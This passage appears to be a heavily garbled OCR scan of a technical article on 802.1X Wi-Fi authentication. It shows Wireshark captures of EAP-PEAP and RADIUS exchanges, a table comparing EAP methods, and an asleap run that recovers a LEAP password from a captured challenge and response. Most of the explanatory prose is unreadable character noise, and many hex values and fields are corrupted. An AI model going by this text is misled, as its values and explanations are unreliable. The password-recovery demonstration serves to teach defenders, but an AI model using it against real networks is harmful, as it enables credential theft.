. 41 - LS X s s x Xy :X-||_\."X-|\-\|=‘"71L-|5(xi\§L‘-=J
x oA ox DXL os o s o o T x g X DX X x
X IX o« Y 77X - 11 - Radius1:x. _s ”|'X““v" Lo, = v X "Sj :|.|’A’~>A‘VLS X8 .«
802.1x + ¥ X p v o 8%
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00:9a:cd:b7:c9:fOMAC - * x Huawei Nexus 6P~ x 1 : 1 x
€2:55:2d:f2:d1:5¥MAC - * x Cigco MerakiMR33 - _ +

Time Source Destination Protoc Ler Info
10 0.146436 8b:6f:f4:f6:1e:.. 1c:ed:b5:95:30: 802.11 378 Fragmented IEEE 802.11 frame
11 0.149589 e6:55:2d:ee:07:.. ASUSTekC 160: 802.11 352 Action No Ack, SN=14, FN=6,
12 0.149869 e6:55:2d:ee:07:.. ASUSTekC 160: o b L 57 802.11 Block Ack, Flags=
13 0.178067 HuaweiTe_b7: 1. €2:55:2d: - : 802.11 70 Authentication, SN=1746,
14 0.178125 HuaweiTe :c9: 802.11 39 Acknowledgement, Flag .
15 0.178383 e2:55:2d:f2:d1:.. HuaweiTe H : 802.11 59 Authentication, SN=2975, F
16 0.178441 €2:55:2d:f2:d1:54 802.11 39 Acknowledgement, Flag
17 0.178741 HuaweiTe_b7:c9:.. e2:55:2d:f2:d1:5 802. 190 Association Request, SN=1747, FN=0, Flag
18 0.178800 HuaweiTe_b7:c9: 802. 39 Acknowledgement, Flags
19 0.178894 ASUSTekC_10:60:.. e6:55:2d:ee:07:e . 802. 48 VHT/HE NDP Announcement,
20 0.179237 e6:55:2d:ee:07:.. ASUSTekC_10:60: 802. 352 Action No Ack, SN=14, FN=7,
21 0.179298 ASUSTekC_10: i.. €6:55:2d:ee:07: . 802. 45 Request-to-send, Flag
22 0.179399 e6:55:2d:ee: t.. ASUSTekC_10: s - 802, 57 802.11 Block Ack, Flags=
23 0.180155 :55:2d:f2:d1:.. HuaweiTe_b7:c9: 802. 188 Association Response, SN=2976, FN=0@, Flags=..
24 0.180214 e2:55:2d:f2:d1: . 802. 39 Acknowledgement, Flag
25 0.182238 ASUSTekC_10: t.. e6:55:2d:ee: : .. 802. 45 Request-to-send, Flags=
26 0.182297 . . . 3 .. ASUSTekC_10: > o . 57 802.11 Block Ack, Flag
27 0.186598 :f2: .. HuaweiTe_b7:c9: EAP 72 Request, Identity

Frame 27: 72 bytes on wire (576 bits), 72 bytes captured (576 bits) on interface un
Radiotap Header v@, Length 25

802.11 radio information

IEEE 8602.11 QoS Data, Flag

Logical-Link Control

802.1X Authentication

Extensible Authentication Protocol

.pcap-s *Xo.L

o a

ST XEAPOL Lo X _ v iS cp A 201X HL YT x T e 41T XX L. .
, 11X T 0 L xlahdddes S T Dlox 1 44 s L X XMACS x

-~ ~ ~ ~

’”

L X (ethaddr v 4 L 0 x4 4s 4 xx o L x X4 ] X

" eapol && wlan.addr==e2:55:2d:f2:d1:54 && wlan.addr==00:9a:cd:b7:c

No. Time Source Destination Protoc Ler Info
27 6.186598 ©2:55:2d:f2:d1:.. HuaweiTe_b7:c9:f@ EAP 72 Request, Identity
29 0.190771 HuaweiTe_b7: . ©€2:55:2d:f2: EAP 84 Response, Identity
32 0.200118 e2:55:2d:f2:d1:.. HuaweiTe_b7: EAP 73 Request, TLS EAP (EAP-TLS)
34 0.201151 HuaweiTe_b7:c9:.. e2:55:2d:f2:d1: EAP 73 Response, Legacy Nak (Response Only)
36 0.206750 e2:55:2d:f2: !.. HuaweiTe_b7: EAP 73 Request, Protected EAP (EAP-PEAP)
38 0.209507 HuaweiTe_b7:c9:.. e2:55:2d:f2:d1:54 .2 212 Client Hello
40 0.222650 e2:55:2d:f2: .. HuaweiTe_b7: 4 EAP 1079 Request, Protected EAP (EAP-PEAP)
42 0.224017 HuaweiTe_b7:c9:.. e2:55:2d:f EAP 73 Response, Protected EAP (EAP-PEAP)
44 0.232082 e2:55:2d:f2: :.. HuaweiTe_b7:c9: EAP 1075 Request, Protected EAP (EAP-PEAP)
46 0.233465 HuaweiTe_b7:c9:.. e2:55:2d:f2: : EAP 73 Response, Protected EAP (EAP-PEAP)
48 0.240299 2:55:2d:f2:d1:.. HuaweiTe_b7: 1 fe v 865 Server Hello, Certificate, Server Key Exchang
50 0.251920 HuaweiTe_b7:c9:.. e2:55:2d:f2:d1: .2 199 Client Key Exchange, Change Cipher Spec, Encr
52 0.259516 e2:55:2d:f2:d1:.. HuaweiTe_b7:c ¢ 124 Change Cipher Spec, Encrypted Handshake Messa
54 0.260407 e2:55:2d:f2: i.. HuaweiTe_b7 . EAP 124 Request, Protected EAP (EAP-PEAP)
56 0.261328 HuaweiTe_b7:c9:. e2:55:2d:f2: . EAP 73 Response, Protected EAP (EAP-PEAP)
58 0.267914 e2:55:2d:f2:d1:.. HuaweiTe_ b7 TLSv1. 107 Application Data
60 0.268932 e2:55:2d:f2:d1:.. HuaweiTe_b7:c9:f@ EAP 107 Request, Protected EAP (EAP-PEAP)
62 0.269438 HuaweiTe b7:c9:.. e2:55:2d:f2:d 4 TLSvi.2 119 Application Data

Frame 27: 72 bytes on wire (576 bits), 72 bytes captured (576 bits) on interface unknown, id ©
Radiotap Header v@, Length 25

802.11 radio information

IEEE 802.11 QoS Data, Flags:

Logical-Link Control

802.1X Authentication

Extensible Authentication Protocol
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S, xXx &s o yx x4 0 x X ox ]« EAPOX L, 1 w1 Toss X
1A L EAP L xx qsx .s =~ EAPPEAPW/EAPMSCHAPV2 L _ s q44s S 1L wxs
s x| - 1 (EAPTTLSTLSEAPs - _ ¥ turinel )
” X oo~ S . 1 "y L
bfoadcasf - x * x . <« s probeteduest Tu | ¥ 4 *4 1<~ . Tx (1s 4]
X .o ) X 1 S~ x X L 1180211 ZZxx\Zs~ yovoas X 1dd . Fw S
;L 1S 17 S T WPRAWPA2Xx 802.1x Y1 | 1 80RA» x ¥4 15

Time Source Destination Protoc Len Info

2 0.015205 HuaweiTe_b7:c9:.. Broadcast 802,
HuaweiTe_b E dca

QiscoMerakiMR33 - _ ~ HY¥ s 14« X Xy A7 X v p s L x4 TS L T
{1 xs 4 ¢ L S« 802.IxL XX Avax 5D o4{.]x  0Ox888e Y IXEAEQ,LN: 1IN 1L
L . X8y S v | s

Frame 27: 72 bytes on wire (576 bits), 72 bytes captured (576 bits) on interface unknown,
Radiotap Header v@, Length 25 2
802.11 radio information Authe
IEEE 802.11 QoS Data, Flags:
Logical-Link Control

DSAP: SNAP (©xaa)

SSAP: SNAP (©xaa)

Control field: U, func=UI (©x03)

Organization Code: 00:00:00 (0fficially Xerox, but

2.1X Authentication (©x888e)

802.1X Autnencicatiomr—————

Version: 802.1X-2004 (2)
Type: EAP Packet (9©)
Length: 5

Extepnsible—Autitentication Protocol
Code: Request (1) '
Id: 124
Length: 5

~Jype: Identity (])

25 ¢ 802.1%2004 dotlx L _ X _A-s X7 ¥ A4 4. px . %y

Haoamnnin ¢ 41 . x| .l ys Lo Fdyoxo 17" A U B I R

el dex s bx Lo xh e AR % 4 s Y X X 802.1%2001

X EAPOH D x 1 xs  w.x (Lix 4 p A s DEH LA X ANy DA
=x I "s o, x X | ]x X
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L. o~ x  _x A -supplicants ¢ U3 XHemwsm _fl ) 1T x802,1%2004 1 x -«
s . «Dataleakage . X " _ L S . 1 _ % Lo ©x X o X X i TS e XXX X
EAP © . x . S 17 802,1%2004% ., |~ X _ 4 s 1 x X . L L LX
{11 1 s Zx,,v~-|>“ .
«x's T x | {s supdlicats " IxsioL s lxss Do 1 oyl s T
N N T I R Tl X« L 4% s Txx ]l o«
XV'I\.S
.femployeealexo ~ 1 s _ x {1 _*  Supplieafss = " Ex ) (T x L 1s

Suppli

Xx s ¢ s
Frame ytes on wire ( 73 bytes captured (584 bits) on interface unknown, id @
i Authen
catIomRrotocol
SEAP I x 4« I o.x .ol T _ox o« EAR X « fEEBBO2.AxX* T X <« L
~ L 1X<uLs _credentalgs 74 .%o X{ (s {Yx X
14 v ox<x1x., s Extensilfléi ExtersibleAdthentidatiodProtoolt EAP . "
EAR) EAPRTLS s802.1x* : x _ EAPLs x . x 7 I x EAP X H__ I I xxs x7”
Protected EARPMicrosoft ChallengeHandshakg PEAPMSCHAPvVZ TrgnsportLayerSecurity
AuthenticationProtocolversion2
.o X {0 X « &7 s x 11 % x < s L X « X 1 x x X . 1% P I T B i7"

Fd.qd FoS
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« x SEAPnfethod | 4 St 4 RADIUSY X < S L S A .. xY 4T x X fx
I I . I S XS X vs)l 'IXV'IX'- R R | ~ L ~Z ksxxv Foaxs] KX . L X 14 x y”
AccessRejectEAPFailure - ! x s x s 4 1, sx o |4 T X
-Z(” . ] X~ . L s =:iij 1:b,y1~v“v: sx "L L”\ Y ] , ~ 11 ¢s L)
EARTLS * - x {4 +«s =« .~ * L négatie’acknowledgment NAKss 7 x, x| x|« , §(

EARPEAR X ¥ v o xx 1 X1 X< Jx,

Extensible Authentication Protocol % Lo pR
! Supplicant (phone)
Code: Response (2) -

Id: 36
Length: & S — —
—Type: Legacy Nak (Response Only) (3)

= D§51red Auth Type: Protected EAP (EAP-PEAP) (??)

. ] x , -7 ss"x x 1 nog s I x s s e 1 ¢ X L. L 1 X « L S
S
sible Authentication Protocol
Code: Re t (1)
Id: 37
Length:
Type: Prote (25)
EAP-TLS Flags:
Ut s s ccprtifidate). X ox (X TX S L E Y {4 . s X fus D, x
X, .88 N L1 XL x sl x s Lo 1 x
1 x x A M X 71 X . S . « S xlbox O” i X o s L s {1« « 1
TLSunnel v+ | * . X < 1S
Client hello® 10 x | Tixx Juiqs. sx Xt 7s J{ st oy ST el XD x e,
X, « . S S ] 4L s X ] s X . S e q T x « L S DX

Extensible Authentication Protocol
Code: Response (2)
Id: 37
Length: 145
Type: Protected EAP (EAP-PEAP) (25)
EAP-TLS Flags: Ox01
;JEQDSQPF[ Layer Security
TLSv1.2 Record Layer: Handshake Protocol: Client Hello
Content Type: Handshake (22)

version: TLS 1.0 (©6x0301)

Length: 134 ==
Handshake Protocol: Client Hello
~ Handshake Typer CIient Hello (1)
Length: 130
version: TLS 1.2 (0x0303)
Random: 88fal017b1lcb697¢c3554822415b6ae80defS5r2fec6corf64
Session ID Length: ©
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-s ~ 1 « {TLSHahdshake* X 4 es Ll qLUsiL Lx WS L ]X s, xos {0
nay' -p ! XS ,( ses s x x) o _tunrel 11 A
1 s . R S x Liserverhellod-*~ | s171x, f1 yi$.1 i« T ox x
Extensible Authentication Protocol ]
Code: Request (1) Supplican{phone
Id: 40
Length: 798
Type: Protected EAP (EAP-PEAP) (25)
EAP-TLS Flags: 0x01
[3 EAP-TLS Fragments (2796 bytes): #40(1002), #44(1002), #48(792)]
Transport Layer Security
TLSv1.2 Record Layer: Handshake Protocol: Server Hello
TLSv1.2 Record Layer: Handshake Protocol: Certificate
TLSv1l.2 Record Layer: Handshake Protocol: Server Key Exchange
TLSv1.2 Record Layer: Handshake Protocol: Server Hello Done
1Tx 47 S I S 4 X o s T oxoxX O TEGUNREl s x TR X ] T ] L X
< Witeshark ] X« .1 (WelpxBumntelf 1< % J 4«8 _ J1dx4i. s
y 1"H S~ L. S _ .Y« A4l x x4 s fApplicatioriDatads] 4L 4 4TS, s
Fdlox
Tys 1w i x s s, s MSEHAPW ¥4 ~ _s* {4 _ {7 sAlinall 1+ s o1
FLo_ XS X 4«5 4L BEAP_L X« XXSuUgcess s U MIxxsysx L XL L I x T
S T .sX
Source Destination Protoc Ler Info
55:2d:12:¢ Request, Protected EAP (EAP-PEAP)
, Pro ed EAP (EAP-PEAP)
Application Data
22:55 cted EAP (EAP-PEAP)
HuaweiTe Data
©2:55:2d:7F2:¢ n Data
HuaweiTe n Data
@2:55 plication Data
HuaweiTe Application Data
e2:55:2d: HuaweiTe Applic Data
HuaweiTe_b ©2:55:2d , Protected EAP (EAP-PEAP)
e2:55:2d: HuaweliTe £
e2:55:2d: HuaweiTe EAPOL 1 of 4
HuaweiTe @2:55:2d EAPOL ge 2 of ¢
e2:55:2d: HuaweiTe EAPOL < Message 3 of «
HuaweiTe e2:55: EAPOL ¢ sage 4 of 4
captured (56 on interface
Authentication Protocol
Success (3)
4
A0 oex ot x e 04 Tis e oox 14 s q4s 0 sx s 4 {0
x 15 _ -way-handshaken -~ . x " (4 -0x0 T x 1) 11 xT0~  ~ 4|
YIVW YT X 4w X « € X v L o s 1 x qX
> «(Naiive) Hypervisor from Scrateh
www.DigitalWhisper.co.il
Y H 2021~ ~ X125 ~ x 4 L ¥


https://www.digitalwhisper.co.il/files/Zines/0x7A/DW122-2-X.509.pdf

Technologic

RADIUSservgr @ x _{+s I ., | 1 <« _ s T {x

IP:mn &M n ®@istorMeraki MR33 -«
IP:Mmn &M nmOisc®ISE server - x _ 4« T - ~
P4 X Feoocne s x 7 o ox radibse <o Ixeosy oL X Xk T xR X T,

N v -x Ix's RADSEC | AESKeyWrgpy x | ¥

Lox .

~ ~ ~

My MA -~ X %X x4 s _x xS UDR* LS fradiisl, 2N XX % e ]

> ~ ~ ~ ~ a N >~

(U ME R E X A aMmempo X, S s 4w 4 awymiel K d ) L X

~

radius L X« X TP x XX x4 L T R

" radius && ip.addr==10.10.0.102 && ip.addr==10.10.1.37

No. Time Source Destination Protoc Len Info
31 12.440324 10.10.0.102 10.10.1.37 RADIUS 351 Access-Request 1d=160

.443304 e B SOV RADIUS 166 Access-Challenge 1d=160

33 12.449507 10.10.0.102 10.10.1.37 RADIUS 414 Access-Request id=161
34 12.450266 16.10.1.37 10.10.6.102 RADIUS 166 Access-Challenge id=161
35 12.456812 10.10.0.102 10.10.1.37 RADIUS 553 Access-Request id=162
36 12.464624 10.10.1.37 10.10.0.102 RADIUS 1178 Access-Challenge id=162
37 12.472683 10.10.0.102 10.10.1.37 RADIUS 414 Access-Request 1d=163
38 12.473629 10.10.1.37 10.10.6.102 RADIUS 1174 Access-Challenge id=163
39 12.483446 10.10.0.102 10.10.1.37 RADIUS 414 Access-Request id=164
40 12.483568 10.10.1.37 10.10.0.102 RADIUS 964 Access-Challenge id=164
41 12.498290 10.10.0.102 10.10.1.37 RADIUS 540 Access-Request 1d=165
43 12.500263 10.10.1.37 16.10.0.102 RADIUS 217 Access-Challenge id=165
44 12.506799 10.10.0.102 10.10.1.37 RADIUS 414 Access-Request id=166
45 12.507620 10.10.1.37 10.10.0.102 RADIUS 200 Access-Challenge 1d=166
46 12.513691 10.10.0.102 10.10.1.37 RADIUS 460 Access-Request id=167

Frame 31: 351 bytes on wire (2808 bits), 351 bytes captured (2808 bits) on interface unknown, id @
Ethernet II, Src: CiscoMer_f2 e 5:3d:f2:d1:54), Dst: CiscoMer_8c:88:93 (e0:55:3d:8c:88:93)
802.1Q Vvirtual LAN, PRI: O, DE -

Internet Protocol Version 4, S 10.10 162, D 0.10.1.37

User Datagram Protocol, Src Port: 37642, Dst Port: 1812

RADIUS Protocol

eealex
-55-2D-F

Access S X . s 4 X ] . X x 41 , s I X . . S =] x L.X -

~ ~ v ~ ~ ~ ~

~ _ S _ AecésChallehges Requests

w

RADIUS® er(capsulated
L b4 _ s <« ¥, o ¢ requests! . {1 s

~ ~ a ~

x 1 Do fclientsT R x4 W iss o]
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802.1Q virtual LAN, PRI: ©, DEI: ©, ID: 100
Internet Protocol Version 4, Src: 10.10.0.102, Dst: 10.10.1.37
User Datagram Protocol, Src Port: 37642, Dst Port: 1812
RADIUS Protocol
Code: Access-Request (1)
Packet identifier: ©xa® (160)
Length: 385
Authenticator: d87a68d642ae6803273737b8ab4b2067
' ponse to this req 11\‘r<.~"J
Attribute value Pairs
AVP: t=Service-Type(6) 1=6 val=Framed(2)
AVP: t=User-Name(1) 1=14 val=employeealex
AVP: t=NAS-IP-Address(4) 1=6 val=10.10.0.102
AVP: t=Called-Station-I1d(30) 1=30 val=E2-55-2D-F2-D1-54:1SE-Secure
AVP: t=NAS-Port-Type(61) 1=6 val=Wireless-802.11(19)
AVP: t=Service-Type(6) 1=6 val=Framed(2)
AVP: t=Calling-Station-Id(31) 1=19 val=00-9A-CD-B7-C9-F0O
AVP: t=Connect-Info(77) 1=54 val=CONNECT 54.00 Mbps, 862.1l1ac, RSSI: 36, Channel: 149
AVP: t=Acct-Session-Id(44) 1=18 val=B6DDA455FD1CDCBO
AVP: t=Vendor-Specific(26) 1=49 vnd=ciscoSystems(9)
AVP: t=Unknown-Attribute(186) 1=6 val=000face4
AVP: t=Unknown-Attribute(187) 1=6 val=008face4
AVP: t=Unknown-Attribute(188) 1=6 val=000facOl
AVP: t=Vendor-Specific(26) 1=16 vnd=Meraki Networks, Inc.(29671)
AVP: t=Framed-MTU(12) 1=6 val=1400
AVP: t=EAP-Message(79) 1=19 Last Segment[1]
Type: 79
Length: 19
EAP fragment: 0254001101656d706c6T796565616c6578
Extensible Authentication Protocol
Code: Response (2)
Id: 84
Length: 17
Type: Identity (1)
Identity: employeealex

Value Attribute) AVP1 | _ * _ s “x x4 x7T o Jg L« s Dx.
Yy x o, XEAP : | § x s emblpyeetalex” _ _ ¢ _ _ S v _ TiiRafrs x - .0
T T T S T T T T e T T ST

XL DX ] X WL S .ox X

boxos ~ X “NASPort:Typg ServiceType CalledStationlD ~ x ¥ | s p 1% 1 >

~

r 1 Clients T 4 ¥ LA Xs T L NASIP-Adresd-% | s "9 | " @ 4

~ v ~ v o~

r”
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17 x . s 4 _ sradius- © 4 sl «dhallenges @« X« .0 .

EAPTLSS x4+« S 1« X, i gfients .
Frame 32: 166 bytes on wire (1328 bits), 166 bytes captured (1328 bits) on interface unknown, id @
Ethernet II, Src: CiscoMer 8c:88:93 (e0:55:3d:8c:88:93), Dst: CiscoMer_f2:d1:54 (e©:55:3d:f2:d1:54)
802.1Q Virtual LAN, PRI: ©, DEI: ©, ID: 100
Internet Protocol Version 4, Src: 10.10.1.37, Dst: 10.10.0.102
User Datagram Protocol, Src Port: 1812, Dst Port: 37642
RADIUS Protocol
Code: Access-Challenge (11)
Packet identifier: oxa® (160)
Length: 120
Authenticator: 8a4ce901aag82191deebc7aefe7096f11
i 3 respor t uest in fra
[Time from reques D02 3 seconds]
Attribute Vvalue Pairs
AVP: t=State(24) 1=74 val=333743504d5365737369676e49443d353464316632303630...
AVP: t=EAP-Message(79) 1=8 Last Segment[1]
Type: 79
Length: 8
EAP fragment: 012a00060d20
Extensible Authentication Protocol
Code: Request (1)
Id: 42
Length: 6
Type: TLS EAP (EAP-TLS) (13)
EAP-TLS Flags: 0x20
AVP: t=Message-Authenticator(80) 1=18 val=6e3961d46f2dedac7ffbcadfba925407

U3 rotoco

Code: Access-Accept (2)

Packet identifier: Oxaa (170)

Length: 278

Authenticator: 01f19ad64b47eb951997d2a6085b24ec

nse to a1

{ 1N Trame 3|
[Time from request: 0.035690000 seconds]
Attribute Value Pairs
AVP: t=User-Name(1) 1=14 val=employeealex
Type: 1
Length: 14
User-Name: employeealex
AVP: t=Filter-Id(11) 1=13 val=BYOD-Access
Type: 11
Length: 13
Filter-Id: BYOD-Access
AVP: t=State(2d) 1=40 val=52656175746853657373696763a35346431663230363030...
AVP: t=Class(25) 1=51 val=434143533a35346431663230363030303030303032353935...
AVP: t=EAP-Message(79) 1=6 Last Segment[1]
Type: 79
Length: 6
EAP fragment: 03330004
Extensible Authentication Protocol
Code: Success (3)
Id: 51 '
Length: 4
AVP: t=Message-Authenticator(86) 1=18 val=1fc607dfb7c7067607a92ada653aebea
AVP: t=Vendor-Specific(26) 1=58 vnd=Microsoft(311)
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- ] X DX vy S~ X . S 1Yy s EAP ‘@ d ¥ X T T R B i

~ ~ ~ > ~ ~ > ~

L ~ 1 _ 1 _ s Clasa PStater s s « x T * Brihgyour own device BYOPAccess

s " X s X "o FAAd 17 xx L 0 XX 10 x L g s 44y x g 4s)yx.

> v o~

L X802E%, (w11 0 X1 sS) p 44l s px &lo Bx Mdw sX X

v

IP: >* x o | clientsi¥accounting - x ~ * x * 1 cfient, radius ~-*~ s = { X R

("~ L 1%X<. "~ EventTimestaips X . sx <) X« DHCP~ _: m_ ~ 1 x|

~ ~

- X X4 1s  .SessioADx ~ _ X

12.588545 10.10.1.37 10.10.0.102 RADIUS 199 Access-Challenge 1d=169
12.596773 10.10.0.102 10.10.1.37 RADIUS 414 Access-Request id=170
12.632463 10.10.1.37 10.10.0.1602 RADIUS 324 Access-Accept id=17e

12.654582 10.10.0.102 RADIUS 389 Accounting-Request id=171
12.691524 10.10.1.37 RADIUS 66 Accounting-Response 1d=171

RADIUS Protocol
Code: Accounting-Request (4)
Packet identifier: Oxab (171)
Length: 343
Authenticator: 25cfcld1971cef6ddebd9bebocS59caze
he response to this request 1 in frame ]
Attribute Value Pairs
AVP: t=Acct-Status-Type(40) 1=6 val=Start(1)
AVP: t=Acct-Authentic(45) 1=6 val=RADIUS(1)
AVP: t=User-Name(1) 1=14 val=employeealex
AVP: T=NAS-IP-Address(4) 1=6 val=10.10.0.162
AVP: t=Called-Station-Id(30) 1=30 val=E2-55-2D-F2-D1-54:1ISE-Secure
AVP: t=NAS-Port-Type(61) 1=6 val=Wireless-802.11(19)
AVP: t=Service-Type(6) 1=6 val=Framed(2)
AVP: t=Calling-Station-Id(31) 1=19 val=00-9A-CD-B7-C9-F0O
AVP: t=Connect-Info(77) 1=54 val=CONNECT 54.00 Mbps, 862.11ac, RSSI: 36, Channel:
AVP: t=Acct-Session-Id(44) 1=18 val=B6DDA455FD1CDCBO
AVP: t=Vendor-Specific(26) 1=49 vnd=ciscoSystems(9)
AVP: t=Unknown-Attribute(186) 1=6 val=000f:
AVP: t=Unknown-Attribute(187) 1=6 val=000face4
AVP: t=Unknown-Attribute(188) 1=6 val=000facO1
AVP: t=Vendor-Specific(26) 1=16 vnd=Meraki Networks, Inc.(29671)
AVP: t=Framed-IP-Address(8) 1=6 val=10.10.0.112
Type: 8
Length: 6
Framed-IP-Address: 10.10.0.112
AVP: t=Class(25) 1=51 val=434143533a35346431663230363030303030303032353935
AVP: t=Event-Timestamp(55) 1=6 val=Jul 2, 2017 18:18:59.000000000 EDT
AVP: t=Acct-Delay-Time(41) 1=6 val=
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bLX X x4 x  IEAPs L X1k _ L {isl.ss _ % s | ProtectedEAP REAP 1 -

e T O X uxsl, (X 4SEARTTLE 1 xxfx sx x| s
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x4 . -1 1 1 x bfffine dictionary: * x = < X xMsQHARVE® » x .
L% 40 TLS 1%, x PEAPX - X X
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PEAPencapsulation * 1 1 _ EAP <! x 1 PEAP. " 1--BEARTTLS PEAP = { *s 4.4 s
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~

PEAP : L x T

Server Cert Validation:
Signed by trusted CA
Belongs to allowed server

: /’— server \ 7| server
CA, | g
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Password . Valid Password Password
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Tunnel Tunnel
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s 1y x
Feature / MDS5 TLS TTLS PEAP FAST LEAP
Benefit
Client-side no yes no no no no
certificate (PAC)
required
Server-side no yes yes yes no no
certificate (PAC)
required
WEP key no yes yes yes yes yes
management
Rogue AP no no no no yes yes
detection
Provider MS MS Funk MS Cisco Cisco
Authentication | One Mutual Mutual Mutual Mutual Mutual
Attributes way
Deployment Easy Difficult (because of Moderate Moderate | Moderate | Moderate
Difficulty client certificate
deployment)

Wi-Fi Security | Poor Very High High High High High when strong

passwords are

used
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asleap 1.0 - actively recover LEAP passwords. <jwright®hasborg.com> &
Using the passive attack method.

Captured LEAP challenge:

0802 d500 00d0 59¢8 6119 0040 9655 2d21 ...... Y.a..0.U-!
0040 9655 2d21 006d aaaa 0300 0000 888e .@.U-!.m........
0100 0014 0122 0014 1101 0008 7ed46 733d ..... PR neas ~Fs=
63a5 fabf 6265 7374 c...best

Captured LEAP response:

0801 dS500 0040 9655 2d21 00d0 59¢8 6119 ..... a.u-1..Y.
0040 9655 2d21 b021 aaaa 0300 00f8 888e .@.U-!.!......
0100 0024 0222 0024 1101 0018 dS1b 8d53 ...8.".8......
c087 9888 fdee 7e85 0a08 add4 626b d61b ...... - Sk bk..
d66e S53a7 6265 7374 .nS,.best

Captured LEAP auth success:

0802 d500 000c 3043 a9%07 0007 SOca f417 ...... 0oC....P...
0007 S0ca f417 5067 aaaa 0300 0000 888e ..P...Pg......

0100 0004 0313 0004  L..eaees

Captured LEAP exchange information:

username: best
challenge: 7e46733d63aS5fabf

response: d51b8d53c0879888fdee7e850a08add4626bd61bd66eS3a7

Attempting to recover last 2 of hash.

hash bytes: 9537

Starting dictionary lookups.

NT hash: 0cb6948805f797bf2a82807973b89537
password: test

[root@cyanocorax asleap-1.0]# D

JUSso s sk s XKy Dos D s Y ipass
X Xow s W10 i T e Y d T d ks T x4
pel oA X FSs T 1% v s o xsX{x, | X X 1
I A N I %X« ¥ X, s
N S T E A S S
LYOSSi123 L L L) X o~ v US v L
I N . , - X XS L X x
s - L B N B R Pl Cox
o N T U T S E T T A S R S AR S B B S
1vs Jd0s o 9% XLHAPA X s x| x4,s X L0 X

X

(R T I A |

hp
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